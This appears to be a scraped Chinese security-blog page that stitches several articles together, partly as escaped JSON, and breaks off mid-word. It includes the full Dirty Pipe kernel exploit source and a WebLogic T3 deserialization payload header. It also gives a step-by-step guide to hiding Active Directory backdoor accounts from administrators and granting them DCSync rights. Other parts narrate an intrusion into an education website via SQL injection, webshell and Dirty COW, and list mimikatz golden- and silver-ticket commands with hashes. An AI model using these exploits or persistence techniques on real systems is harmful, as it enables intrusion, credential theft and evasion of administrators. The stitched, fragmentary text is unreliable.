Header3、反序列化标志,也就是 fe 01 00 00 所以这三段话是这么来的 header = binascii.a2b_hex(b"00000000") t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") desflag = binascii.a2b_hex(b"fe010000") 0x05 漏洞修复 在 resolveClass 处打补丁 在前面分析的过程中,我们能够看出来,加载类其实是通过调用 resolveClass() 方法,再通过反射获取到任意类的,所以官方选择了基于 resolveClass() 去做黑名单校验。 如果在 resolveClass() 处加入一个过滤,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的反序列化操作无法完成。 通过 Web 代理与 nginx 等负载均衡防御 Web 代理的方式只能转发 HTTP 的请求,而不会转发 T3 协议的请求,这就能防御住 T3 漏洞的攻击。当然这对于业务上有很大的影响。同理负载均衡也是,不过负载均衡需要自己手动设置。 黑名单 bypass Oracle 官方对于 CVE-2015-4852 的修复是通过黑名单限制的。 黑名单中的类不会被反序列化 绕过思路如下 其实就是由 ServerChannelInputStream 换到了自身的 ReadExternal#InputStream,这一个 bypass 也被收录为 CVE-2016-0638;后续会对这一个漏洞进行分析。 0x06 小结 从原理角度上来说还是比较简单的,不过理解 T3 的传输,并且构造恶意 PoC 的过程是非常值得学习的,CVE-2015-4852 为一些类似的攻击提供了思路。
如何在Windows AD域中驻留ACL后门
前言 当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。 ACL介绍 ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。 https://learn.microsoft.com/zh-cn/windows/desktop/SecGloss/s-gly包含与https://learn.microsoft.com/zh-cn/windows/win32/secauthz/securable-objects关联的安全信息。 安全描述符由 https://learn.microsoft.com/zh-cn/windows/desktop/api/Winnt/ns-winnt-security_descriptor 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息:: 1、对象所有者和主组https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-identifiers (SID) 。 2、指定允许或拒绝特定用户或组的访问权限的 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists 。 3、一个 https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-lists ,指定为对象生成审核记录的访问尝试的类型。 4、一组控制位,用于限定安全描述符或其单个成员的含义。 隐藏安全描述符 当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组: 可以在GUI上对所有者进行修改,也可以使用powerview进行修改: Set-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo 修改完成后: 因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo用户Deny所有权限的ACL,但是发现powerview的Add-DomainObjectAcl方法并没有设置Deny权限的操作,只有Allow: 当然,你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加,他的原理如下图: 上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges,直接把Allow默认可变的参数不就行了?首先手动在Add-DomainObjectAcl添加一个AccessControlType参数: .PARAMETER AccessControlType Specifies the type of ACE (allow or deny) 设置参数定义: [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, 删除之前的默认的Allow: 最后把AccessControlType参数替换之前的ControlType: 现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。 当尝试域管添加一个对jumbo用户Deny所有权限的ACL后: Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny 当然,把SID改成SamAccountName也是可以的: Add-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny 可以发现域管也没权限查看jumbo用户的属性了: 当使用system用户查看jumbo用户ACL时,可以看到对应的Deny的ACL: 现在域管对jumbo用户已经无法操作任何东西了,先用system用户删除该Deny权限,准备使用powerview的Remove-DomainObjectAcl方法时,发现也只有的Allow,也就是默认只能移除对象的Allow权限,老方法,把删除的ACL属性设置为可变参数: 进行删除: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny 当然,把SID改成SamAccountName也是可以的: Remove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny 那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo用户的拥有者改成默认的域管组,然后对域管进行设置Deny的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo拥有者设置为jumbo的目的: 上面尝试了拒绝域管对jumbo所有的权限,那为了隐藏,并且为了防止后续还要对jumbo用户的一些其他修改,实际上可以对jumbo用户设置everyone拒绝读取的权限即可: 现在所有用户对其都没有查看权限了: 当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的: 现在通过net user命令已经看不到jumbo这个用户了: 在“用户和计算机”里看用户长这样: 从上面的操作可以发现,给everyone用户添加拒绝读取权限时是通过GUI实现的,因为everyone用户是个特殊的用户,属于https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-special-identities-groups#everyone,是一个属于https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids的用户,其对应的SID为S-1-1-0: 当尝试使用powerview的Add-DomainObjectAcl方法是无法完成给everyone用户添加ACL的: 通过查看powerview的代码,会通过Get-ObjectAcl方法获取对应用户的SID,但是刚刚提到,everyone用户是个特殊的用户,导致查不到: 但是看了下还有个New-ADObjectAccessControlEntry方法,会判断输入的PrincipalIdentity参数是不是SID,如果是SID就不走查询,因此可以照葫芦画瓢,把这个判断加到Add-DomainObjectAcl方法中:       if ($PrincipalIdentity -notmatch '^S-1-.*') {           $PrincipalSearcherArguments = @{               'Identity' = $PrincipalIdentity               'Properties' = 'distinguishedname,objectsid'           }           if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }           if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }           if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }           if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }           if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }           if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }           if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }           $Principal = Get-DomainObject @PrincipalSearcherArguments           if (-not $Principal) {               throw "Unable to resolve principal: $PrincipalIdentity"           }           elseif($Principal.Count -gt 1) {               throw "PrincipalIdentity matches multiple AD objects, but only one is allowed"           }           $ObjectSid = $Principal.objectsid           Write-Host ($ObjectSid)       }       else {           Write-Host "..sid.."           $ObjectSid = $PrincipalIdentity       }               $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) 现在尝试下,给jumbo2用户添加everyone所有拒绝的ACL: Add-DomainObjectAcl -TargetIdentity jumbo2 -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny Remove-DomainObjectAcl方法同理。 隐藏主体 通过上面的步骤,除了jumbo用户本身可以查看jumbo用户以为,其他用户都没有ReadControl权限,但是在“Active Directory用户和计算机管理”里还是可以看到,虽然ico图标都没了,接下来要让在“Active Directory用户和计算机管理”里也看不到。为了方便演示,笔者把jumbo用户移到一个单独的OU组里: 然后给这个OU设置everyone拒绝读取权限即可: 遇到一些粗心大意的管理员,可能会觉得这只是无意残留的无害物质,无伤大雅。 Dcsync Dcsync实际上就是给用户设置两条扩展权限,分别为: DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) 当用户拥有这两条ACL后,即可使用DRS协议获取域hash凭据。给用户在域对象上添加Dcsync权限即可: 代理账号 上面提到,把jumbo用户拥有者改成自身,然后设置everyone对其没有读取权限,这样就可以达到隐藏jumbo,然后手上的jumbo用户就可以肆无忌惮的做一些操作。但是有个问题,万一做操作的时候,该用户被发现了,管理员把该用户进行了禁用,那好不容易获取到的账号就废了。为了防止账号被发现后被禁用/被改密码不可用,应该设置个代理账号,把准备拿来攻击的账号(某个管理员用户或者有dcsync类似权限的账号)的拥有者设置代理账号,代理账号是其拥有所有者,然后设置所有用户对攻击账号都不可操作,最后每次都可以使用代理账号控制攻击账号,就算攻击账号被禁用/被改密码,也可以使用代理账号来重新启用他。 首先攻击账号为attack,代理账号为good,首先设置attack账号所有者为good: Set-DomainObjectOwner -identity attack -OwnerIdentity good 给attack账号添加dcsync权限: Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity attack -Rights DCSync -AccessControlType Allow 设置attack都不可操作: Add-DomainObjectAcl -TargetIdentity attack -PrincipalIdentity S-1-1-0 -Rights All -AccessControlType Deny 这个时候,如果attack在发起攻击的时候被管理员发现了,把attack账号密码重置了,但是good账号是attack账号的拥有者,可以修改attack账号的ACL,比如给自己添加修改密码的权限,然后去重置attack账号的密码,然后就又可以拿来攻击了。 总结 本文主要讲了在Windows域中如何利用ACL进行后门隐藏,并对powerview进行修改使其支持在添加ACL或者删除ACL时可以指定Allow或者Deny,也可以选择everyone此类特殊用户。
\\nssh-ed25519 AAA......\\n'\r\n *\r\n * Further explanation: https:\u002F\u002Fdirtypipe.cm4all.com\u002F\r\n *\u002F\r\n \r\n#define _GNU_SOURCE\r\n#include \u003Cunistd.h\u003E\r\n#include \u003Cfcntl.h\u003E\r\n#include \u003Cstdio.h\u003E\r\n#include \u003Cstdlib.h\u003E\r\n#include \u003Cstring.h\u003E\r\n#include \u003Csys\u002Fstat.h\u003E\r\n#include \u003Csys\u002Fuser.h\u003E\r\n \r\n#ifndef PAGE_SIZE\r\n#define PAGE_SIZE 4096\r\n#endif\r\n \r\n\u002F**\r\n * Create a pipe where all \"bufs\" on the pipe_inode_info ring have the\r\n * PIPE_BUF_FLAG_CAN_MERGE flag set.\r\n *\u002F\r\nstatic void prepare_pipe(int p[2])\r\n{\r\n if (pipe(p)) abort();\r\n \r\n const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);\r\n static char buffer[4096];\r\n \r\n \u002F* fill the pipe completely; each pipe_buffer will now have\r\n   the PIPE_BUF_FLAG_CAN_MERGE flag *\u002F\r\n for (unsigned r = pipe_size; r \u003E 0;) {\r\n unsigned n = r \u003E sizeof(buffer) ? sizeof(buffer) : r;\r\n write(p[1], buffer, n);\r\n r -= n;\r\n }\r\n \r\n \u002F* drain the pipe, freeing all pipe_buffer instances (but\r\n   leaving the flags initialized) *\u002F\r\n for (unsigned r = pipe_size; r \u003E 0;) {\r\n unsigned n = r \u003E sizeof(buffer) ? sizeof(buffer) : r;\r\n read(p[0], buffer, n);\r\n r -= n;\r\n }\r\n \r\n \u002F* the pipe is now empty, and if somebody adds a new\r\n   pipe_buffer without initializing its \"flags\", the buffer\r\n   will be mergeable *\u002F\r\n}\r\n \r\nint main(int argc, char **argv)\r\n{\r\n if (argc != 4) {\r\n fprintf(stderr, \"Usage: %s TARGETFILE OFFSET DATA\\n\", argv[0]);\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* dumb command-line argument parser *\u002F\r\n const char *const path = argv[1];\r\n loff_t offset = strtoul(argv[2], NULL, 0);\r\n const char *const data = argv[3];\r\n const size_t data_size = strlen(data);\r\n \r\n if (offset % PAGE_SIZE == 0) {\r\n fprintf(stderr, \"Sorry, cannot start writing at a page boundary\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;\r\n const loff_t end_offset = offset + (loff_t)data_size;\r\n if (end_offset \u003E next_page) {\r\n fprintf(stderr, \"Sorry, cannot write across a page boundary\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* open the input file and validate the specified offset *\u002F\r\n const int fd = open(path, O_RDONLY); \u002F\u002F yes, read-only! :-)\r\n if (fd \u003C 0) {\r\n perror(\"open failed\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n struct stat st;\r\n if (fstat(fd, &st)) {\r\n perror(\"stat failed\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n if (offset \u003E st.st_size) {\r\n fprintf(stderr, \"Offset is not inside the file\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n if (end_offset \u003E st.st_size) {\r\n fprintf(stderr, \"Sorry, cannot enlarge the file\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* create the pipe with all flags initialized with\r\n   PIPE_BUF_FLAG_CAN_MERGE *\u002F\r\n int p[2];\r\n prepare_pipe(p);\r\n \r\n \u002F* splice one byte from before the specified offset into the\r\n   pipe; this will add a reference to the page cache, but\r\n   since copy_page_to_iter_pipe() does not initialize the\r\n   \"flags\", PIPE_BUF_FLAG_CAN_MERGE is still set *\u002F\r\n --offset;\r\n ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);\r\n if (nbytes \u003C 0) {\r\n perror(\"splice failed\");\r\n return EXIT_FAILURE;\r\n }\r\n if (nbytes == 0) {\r\n fprintf(stderr, \"short splice\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n \u002F* the following write will not create a new pipe_buffer, but\r\n   will instead write into the page cache, because of the\r\n   PIPE_BUF_FLAG_CAN_MERGE flag *\u002F\r\n nbytes = write(p[1], data, data_size);\r\n if (nbytes \u003C 0) {\r\n perror(\"write failed\");\r\n return EXIT_FAILURE;\r\n }\r\n if ((size_t)nbytes \u003C data_size) {\r\n fprintf(stderr, \"short write\\n\");\r\n return EXIT_FAILURE;\r\n }\r\n \r\n printf(\"It worked!\\n\");\r\n return EXIT_SUCCESS;\r\n}",pic:"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227160027149.png",openTime:"2022-12-28T15:44:43+08:00",viewsNum:6002},{id:"20221227102300",type:a,title:"从发现SQL注入到ssh连接",abstract:"前言:\r\n\r\n某天,同事扔了一个教育站点过来,里面的url看起来像有SQL注入。正好最近手痒痒,就直接开始。\r\n\r\n一、发现时间盲注和源码\r\n\r\n后面发现他发的url是不存在SQL注入的,但是我在其他地方发现了SQL盲注。然后改站点本身也可以下载试用源代码,和该站点是同一套系统:\r\n\r\n一开始的思路是直接用时间盲注写马,然后遇到的问题就是如何获取站点的绝对路径。通过sqlmap自带的字典去爆破,发现都失效了。(但是其实只是没写成功,不代表路径是不对。)那么接下来的思路就在源码上了。从源码里面没有找到啥可以直接未授权getshell的点。后面在本地搭建这套系统时,发现了其配置信息都在网站目录下的configure.php,后面就是尝试使用sqlmap读取文件。通过猜测,发现了站点的路径为\u002Fvar\u002Fwww\u002Fhtml\u002F{站点域名}下面。然后再回头尝试写马,还是失败。但是可以读取文件。然后写了个脚本去跑,成功获取数据库账号密码:\r\n\r\nNmap一试,3306开放,心中窃喜。使用mysql连接的时候,发现root登录被做了限制,只能使用localhost进行登录。然后也通过sqlmap获取到其他账号,有的可以登录,但是都因为权限小,无法写马。\r\n\r\n二、惊现上传漏洞\r\n\r\n写马失败后,想着查询下数据库里面的管理员密码,登录后台看看有没有可利用的点。后面又回过头来看源码了。一边放着dump数据,一边又发现了新东西,这站点存在ckfinder和ckeditor编辑器,但是一个无法访问,一个无法上传木马。\r\n\r\n就在我想破脑袋也没想到还有啥办法之时,我同事那边来了个好消息。他从旁站获取到了测试账号密码:\r\n\r\n然后他在个人资料处发现了一些功能点,发现了一堆xss和csrf、会话固定后,最后测了一下上传点\r\n\r\n这个上传点如果你直接上传php是可以上传成功的,但是路径找不到。很奇怪。\r\n\r\n不过如果你先上传一个jpg文件,就会发现图片路径为upload\u002Ffileimages\u002Few00000000040\u002Fuser_photoa009.jpg\r\n\r\n然后再通过bp修改文件扩展名为php,重新上传,就可以成功在前端看到php的路径:\r\n\r\n通过抓包分析,我们发现他存在一个http_user字段可控,并且只在前端校验文件类型得到重命名组合为user_photo#\r\n\r\n直接写入phpinfo(),发现解析了,上蚁剑:\r\n\r\n成功getshell。\r\n\r\n三、脏牛提权\r\n\r\n虽然成功获取权限,但是这权限很低,有执行权限,但是很多操作都被限制。前面有获取数据库账号密码,在获取webshell后,可直接连接mysql数据库:\r\n\r\n这时候可以考虑udf提权,但是尝试发现没有\u002Fusr\u002Flib64\u002Fmysql\u002Fplugin\u002F路径的上传权限。那么久只能通过常规的提权了。使用工具linux-exploit-suggester。\r\n\r\n发现很多种方式可以提权,但是我用kali编译完的程序上传到目标机上,发现运行不了。后面直接在目标机编译,也出现确实一些库文件,好像因为目标机版本太低了。后面参考了这篇文章,成功进行提权。\r\n\r\n四、SSH连接\r\n\r\n这个提权会删除root用户,新建一个用户firefart。本来还在考虑使用内网穿透把22端口代理出来,然后直接ssh连接。但是渗透步骤不规范就会导致我这样的结果:他的ssh并不是22端口,而是999端口。我信息收集的时候没有发现到位。当时一开始看没有22端口,所以才顺势觉得要穿透进去。但是其实人家999端口就是ssh。接下来就是成功使用ssh连接。\r\n\r\n但是有个问题又出现了:如果我想连接ssh,那么久只能使用这个账户登录,因为我不知道root密码。但是这样的话,人家登录不了root就会发现异常。但是如果我把root恢复了,我就没有root权限了。\r\n\r\n诶,后面我在想,如果我把原始的passwd文件恢复,然后不断开ssh连接是不是我还能有权限操作呢?说干就干,使用firefart执行mv \u002Ftmp\u002Fpasswd.bak \u002Fetc\u002Fpasswd恢复原本的账户。然后ssh不断开,我发现我还是root权限。这就好办了。useradd新建账号edu,然后把新建的账户加入管理员组。\r\n\r\n使用新账号edu进行登录,发现为root权限,成功!\r\n\r\n这时候才把原本firefart账号的窗口关闭。重新再使用firefart账户登录,发现已经无法登录了。看来这应该是系统的一种机制吧,哈哈哈。\r\n\r\n结尾\r\n\r\n这次渗透其实走了很多弯路,到最后都没用上数据库。很多时候一个点打不进去的时候,适当的放弃,去打新的点,不要太头铁,特别是攻防的时候。\r\n\r\n总结一下:发现盲注,源码到跑取站点账号密码(时间盲注效率低到我现在还没跑出后台管理账户密码),无果。到从旁站上传木马,获取网站服务器权限,权限较低,使用脏牛提权,到后面的恢复原本的账户,并新建一个管理员。其实这个站点是还有内网在,貌似是教育局办公内网,但目前还在尝试,后续会随缘更新。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202212270952628.jpg",openTime:"2022-12-27T10:23:07+08:00",viewsNum:6338},{id:"20221222121201",type:a,title:"我的渗透测试方法论",abstract:"0x01 渗透测试概述\r\n\r\n渗透测试:比较官方的解释可以查看百度百科,我的理解为渗透测试就是通过一些手段找到网站、APP、网络服务、软件、服务器等网络设备和应用的漏洞,告知管理员有哪些漏洞,应该怎么填补以防止入侵。\r\n\r\n下图,为我在学习课程之前了解到的渗透测试流程:\r\n\r\n\r\n而本次课程中,将渗透测试的流程就更加简化了,总共分为了三个步骤 ——\r\n\r\n\r\n信息收集阶段:通过已知信息去收集渗透测试目标所有暴露在边界上的系统和信息,从而掌握目标外围所有可能访问到的资产信息\r\n\r\n\r\n漏洞发现阶段:对收集到的资产进行划分,然后针对不同的目标执行不同的测试方案\r\n\r\n\r\n报告编写阶段:将之前的所有成果进行汇总,将测试的方法、流程、结果以及漏洞修复建议体现在报告中\r\n\r\n\r\n其中可以使用脚本自动化完成的步骤为信息收集和漏洞发现,接下来我就来具体介绍一下课程中关于这两个部分的内容\r\n\r\n0x02 信息收集阶段\r\n\r\n资产范围 → 子域名数据 → 域名对应的IP数据\r\n\r\n通常情况下,我们拿到的资产范围都是一些域名列表,类似于下图\r\n\r\n\r\n所以,我们第一步需要做的工作通常是收集主域名下的子域名与其对应的IP\r\n\r\n\r\n\r\n具体步骤如下:\r\n\r\n\r\n在获取到目标资产范围后,先进行第三方平台的子域名信息收集,使用到的工具有oneforall(国内)和amass(国外)\r\n\r\n\r\n使用子域名枚举工具ksubdomain的enum模块,利用子域名字典对目标进行子域名枚举,获取相应数据\r\n\r\n\r\n将前两步收集到的信息去重后传入域名字典生成工具dnsgen生成新的域名字典\r\n\r\n\r\n使用子域名枚举工具ksubdomain的verify模块,利用新生成的域名字典进行域名枚举,获取相应数据,值得注意的是,verify模块产生的数据不会对泛解析域名进行处理,这里还需要增加一个处理泛解析域名的操作\r\n\r\n\r\n将所有的得到的数据汇总去重,即可得到一份子域名 + IP的目标数据\r\n\r\n\r\n子域名与IP的映射关系 → 获取http:\u002F\u002Fdomain:port格式的URL数据\r\n\r\n仅仅知道站点域名是不足以确定一个WEB站点的,所以我们还需要获取其WEB服务对应的端口号,最终拿到对应的URL数据\r\n\r\n\r\n\r\n想要通过域名IP数据获取URL数据方式有三种,可以根据个人需求选择对应的方式进行操作:\r\n\r\n方式一:直接使用naabu工具进行收集,输入域名列表,输出http:\u002F\u002Fdomain:port格式的URL数据,但是速度很慢\r\n\r\n方式二:使用Nmap工具的-sV参数对IP列表进行扫描,能够直接获取IP开放的端口和对应的服务信息,通过对服务信息的分类能够获取到开放WEB服务的端口,最后再将端口与域名数据拼接,即可获取http:\u002F\u002Fdomain:port格式的URL数据。这种方式不复杂,但是速度也不算快,建议针对单个站点使用\r\n\r\n方式三:使用Masscan对IP列表进行扫描,获取其开放的端口,然后使用fingerprintx工具进行端口指纹识别,获取其中的开放WEB服务的端口,最后再将端口与域名数据拼接,即可获取http:\u002F\u002Fdomain:port格式的URL数据。这种方式经过测试,速度是方式二的两到三倍\r\n\r\nURL数据 → 站点验活 → 站点去重 → 站点指纹识别 + WAF检测 → 目标站点列表\r\n\r\n在获取到URL数据之后,我们可以对每个URL进行进一步的验证,排除掉所有失活的站点,再基于站点哈希值进行去重,最后排除掉存在WAF站点,即可获取最终的目标站点列表,然后可以根据需求进行站点指纹识别,为NDay漏洞的利用做准备\r\n\r\n\r\n\r\n站点信息收集的具体步骤如下 :\r\n\r\n\r\n使用httpx工具收集所有URL对应站点的哈希值,工具会默认排除失活站点,然后根据哈希值进行去重\r\n\r\n\r\n使用wafw00f工具对所有存活的站点进行WAF验证,排除掉存在WAF的站点并收集WAF指纹数据入库(若没有WAF指纹识别的需求,仅仅只是进行排除,也可以自己编写WAF判定的脚本),获取经过筛选的站点作为目标站点数据保存下来\r\n\r\n\r\n如果有需求,可以通过TideFinger工具收集目标站点的站点指纹信息进行入库\u002F存入文件\r\n\r\n\r\n目标站点列表 → 站点列表\r\n\r\n在获取到站点列表之后,需要寻找注入点,即网站的接口(GET、POST传参的参数)\r\n\r\n\r\n\r\n寻找网站接口的方式有二:\r\n\r\n方式一:通过接口字典枚举的方式寻找,用到的工具是x8,需要指定对应的参数字典,这个方式效率不高,在站点数量较少的时候可以尝试用\r\n\r\n方式二:使用网站爬虫的方式寻找公开的接口信息,用到的工具是gospider,这款爬虫工具为动态爬虫,利用无头浏览器,可以动态加载网页中的 JavaScript 脚本,相比静态爬虫可以获取 POST 请求中的参数,以及可以利用 API 进行数据交互\r\n\r\n在收集完网站接口数据之后,可以利用uro工具对数据进行去重,避免重复操作\r\n\r\n总结\r\n\r\n至此,信息收集步骤已经全部完成,我们再来回顾一下 ——\r\n\r\n\r\n收集目标站点资产范围,通常为域名范围\r\n\r\n\r\n子域名收集\r\n\r\n\r\nWEB端口收集,汇总为URL数据\r\n\r\n\r\nURL去重、验活以及排除存在WAF的站点\r\n\r\n\r\n站点指纹识别,信息入库\r\n\r\n\r\n站点接口数据收集\r\n\r\n\r\n0x03 自动化测试\r\n\r\n在之前的信息收集步骤中,我们获取了目标站点的URL数据和接口数据,接下来,就可以利用这些数据进行自动化测试了\r\n\r\n在开始前,我们需要了解一下常见的漏洞扫描以及模糊测试工具\r\n\r\n\r\n其中弱口令枚举工具是对一些非WEB端口可能存在弱口令的应用进行测试;而漏扫工具和Fuzzing工具则是针对WEB服务进行测试\r\n\r\n\r\nAVWS和AppScan通常是使用针对单个站点进行漏扫的工具,简单易用但是扩展性较差\r\n\r\n而这里重点介绍xray工具的使用思路——\r\n\r\n\r\n被动扫描:在进行手工测试的时候,可以开启xray的被动扫描模式,让它帮助你做一些常见WEB漏洞的探测,而人工的重心可以放在逻辑漏洞的发现上\r\n\r\n\r\n主动探测:利用xray的主动探测功能对站点接口收集阶段的接口数据进行探测\r\n\r\n\r\n联动Crawlergo进行探测:先用Crawlergo对站点的URL数据进行爬取,再将流量转发给xray对得到的数据进行探测\r\n\r\n\r\n这三款工具都能自动生成漏洞扫描报告,报告编写可以将其作为参考资料\r\n\r\n0x04 总结\r\n\r\n\r\n最后的最后,放一张图来总结一下这次渗透实训的整体思路,以上就是我这次参加实训的所有收获。\r\n\r\n\r\n本文转自信安之路 ,作者:H1kki",pic:"\u002Fcloud-image\u002Fnews\u002F4508107d-ebd3-4f3a-bd1d-c977e501c166.png",openTime:"2022-12-22T12:12:33+08:00",viewsNum:5315},{id:"20221215150606",type:a,title:"域0day-(CVE-2022-33679)容易利用吗",abstract:"前言\r\n\r\n最近twitter上关于CVE,应该是CVE-2022-33679比较火了,但是资料也是比较少,下面来唠唠吧。\r\n\r\nkerberos认证原理\r\n\r\n先了解几个概念\r\n\r\n认证服务(Authentication server):简称AS,认证客户端身份提供认证服务。\r\n\r\n域控服务器(Domain Control):即DC。\r\n\r\n服务票据(Server Ticket):简称ST,在Kerberos认证中,客户端请求的服务通过ST票据认证。\r\n\r\n票据授予服务(Ticket Granting server):简称TGS,颁发服务票据(server ticket)。\r\n\r\n活动目录(Active Directory):简称AD,包含了域中所有的对象(用户,计算机,组等)\r\n\r\nKDC密钥颁发中心(KDC):域控担任\r\n\r\n特权属性证书(Privilege Attribute Certificate):简称PAC,所包含的是各种授权信息, 例如用户所属的用户组, 用户所具有的权限等。\r\n\r\n下图为Kerberos的认证过程:\r\n\r\n一个完整的认证流程基本上分为8个步骤\r\n\r\n1.客户端用户向KDC发送请求,包含用户名,主机名和时间戳。AS接收请求\r\n\r\n2.AS对客户端用户身份认证后给客户端返回票据授予票据\r\n\r\n3.客户端使用TGT到票据分发服务(TGS)请求访问服务器A的服务票据(ST)\r\n\r\n4.TGS给客户端分发ST\r\n\r\n5.客户端使用ST请求服务器A\r\n\r\n6.服务器A解密ST票据得到特权属性证书PAC,服务器A请求域控AD需确认用户权限\r\n\r\n7.域控将PAC解密获取用户SID和用户权限的结果返回给服务器A\r\n\r\n8.用户身份符合则进行第最后的返回信息,整个Kerberos认证结束。\r\n\r\n黄金票据\r\n\r\n原理:\r\n\r\nKerberos黄金票据是有效的TGT Kerberos票据,是由域Kerberos帐户加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的。\r\n\r\n相当于跳过上面图片中过的步骤一和步骤二,直接伪造TGT\r\n\r\n实验\r\n\r\n这里利用星海安全实验室的靶场环境\r\n\r\n环境:192.168.10.10 域控DC 域:Starseaseclab.com 操作系统:win-server2012R2\r\n\r\n域内主机:192.168.10.14 操作系统:win7\r\n\r\n使用条件:\r\n\r\n域管SID\r\n\r\n域名\r\n\r\n域控KRBTGT账号的HASHntlm(hash)\r\n\r\nwhoami \u002Fall\r\n\r\nlsadump::dcsync \u002Fdomain:starseaseclab.com \u002Fuser:krbtgt\r\n\r\nsid:S-1-5-21-1719736279-3906200060-616816393\r\n\r\nhtlm(hash):5e31f755b33b621bede0946b044908e4\r\n\r\ndomian:starseaseclab.com\r\n\r\n域内主机win-7\r\n\r\nprivilege::debug\r\n \r\nkerberos::purge \u002F\u002F清空票据防止缓存影响\r\n \r\nKerberos::golden \u002Fuser:administrator \u002Fdomain:starseaseclab.com \u002Fsid:S-1-5-21-1719736279-3906200060-616816393 \u002Fkrbtgt:5e31f755b33b621bede0946b044908e4 \u002Fptt   \u002F\u002F伪造金票注入内存\r\n\r\n白银票据\r\n\r\n原理\r\n\r\n黄金票据是伪造TGT,在kerberos认证中忽略前两步,白银票据就是直接伪造ST\r\n\r\nwhoami \u002Fall\r\n\r\nsid: S-1-5-21-1719736279-3906200060-616816393\r\n\r\nsekurlsa::logonpasswords\r\n\r\n伪造票据\r\n\r\nKerberos::golden \u002Fdomain:starseaseclab.com \u002Fsid:S-1-5-21-1719736279-3906200060-616816393 \u002Ftarget:win-dc.starseaseclab.com \u002Fservice:cifs \u002Frc4:161cff084477fe596a5db81874498a24 \u002Fuser:user1 \u002Fptt \u002F\u002F伪造银票注入内存\r\n\r\n利用MS14-068(CVE-2016-6324)\r\n\r\n域内用户提升至域控\r\n\r\n条件 :\r\n\r\n域内用户名以及hash\r\n\r\nsid值\r\n\r\n域名\r\n\r\n域控ip\r\n\r\n ms-14-068.exe -u   域用户@域名 -p 域用户密码 -s 域用户sid -d 域控ip\r\n kerberos::ptc \"票据\"   \u002F\u002F将票据注入内存\r\n\r\n黄金票据和白银票据的区别\r\n\r\n访问权限不同:\r\n \r\nGolden Ticket:伪造TGT,可以获取任何Kerberos服务权限\r\nSilver Ticket:伪造TGS,只能访问指定的服务\r\n \r\n加密方式不同:\r\n \r\nGolden 